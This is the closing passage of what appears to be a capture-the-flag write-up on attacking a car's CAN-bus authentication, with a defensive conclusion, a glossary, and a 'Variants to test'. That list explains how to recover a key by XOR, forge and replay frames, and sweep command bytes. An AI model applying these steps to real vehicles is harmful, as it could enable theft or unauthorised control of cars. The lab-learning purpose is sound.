- Baseline behaviour before interaction is a reliable strategy for reverse-engineering an unfamiliar protocol, and full-range port scanning should precede targeted analysis.
The overall assessment is that fixing either gap on its own, encrypting the counter feed alone or changing the command encoding alone, would not have been enough; the authentication formula itself needed to be impossible to reverse.
Variants to test
- Other rolling-counter schemes on CAN. Capture a few frames from the same button across consecutive counter values and XOR the authentication byte with the counter. A constant result means the same linear relationship; recover the key with
key = b1 XOR counter XOR commandand forge a known command first. - Separate counter broadcast channels. Look for a periodic frame whose payload byte advances on a timer and matches the counter byte in command frames. A positive result gives you a live counter source without pressing the fob.
- Status versus command channels. Inject a crafted status frame and check whether the underlying state changes or only the UI. If only the UI changes, the channel is a report, not a command.
- Single-byte command fields. Sweep the full
0x00to0xFFrange, recomputing the counter and authentication byte per attempt, and watch the event stream for a state change. A positive result is a state transition the dashboard controls cannot produce. - Timing windows. Measure how long an authentication byte remains valid by replaying a captured frame with a fixed counter. A short window means automation is required; it does not mean the scheme is safe.
Glossary
- CAN Bus: the internal network of a car, where many small computers share messages over a pair of wires.
- CAN frame: one message on that network, with an identifier and a small payload of data bytes.
- CAN ID: the number that labels a frame and says what kind of message it is.
- Hexadecimal: a number system using 0 to 9 and A to F, where two digits represent one byte.
- Byte: a unit of data holding a value from 0 to 255.
- XOR: a bitwise operation that outputs 1 where two bits differ and 0 where they match; it is reversible with the same value.
- Key (secret key): a secret value shared by the car and the fob, used to make messages hard to forge.
- Rolling counter: a number that increases by one with each message, used to stop old messages being replayed.
- Replay: sending a recorded message again, hoping it is accepted a second time.
- Port scan: trying every port on a machine to see which ones answer.
- socketcand: a program that lets you read and send CAN frames over a network connection using a simple text protocol.
- Raw mode: a socketcand mode that passes frames through without filtering or interpretation.
- Endpoint: a specific address on a web server that returns data or performs an action.
- Flag: the secret string you retrieve to prove you completed an exercise.
- Immobiliser: the car's anti-theft system; when armed, the engine will not start.
- Authentication byte: the byte in a frame that proves the message is genuine.
- Payload: the data bytes carried inside a frame.
- HMAC: a way of deriving an authentication value with a secret key and a one-way function, so the value cannot be reversed to recover the key.
- Defence in depth: using several layers of protection so that one failing does not mean all fail.
- Kali Linux: a Linux distribution made for security work, with many tools preinstalled.
- nmap: a program that scans a machine's ports to see which services are running.
- SSH: a way to log into a machine remotely.
- TryHackMe: a website hosting practice environments you can connect to and attack legally.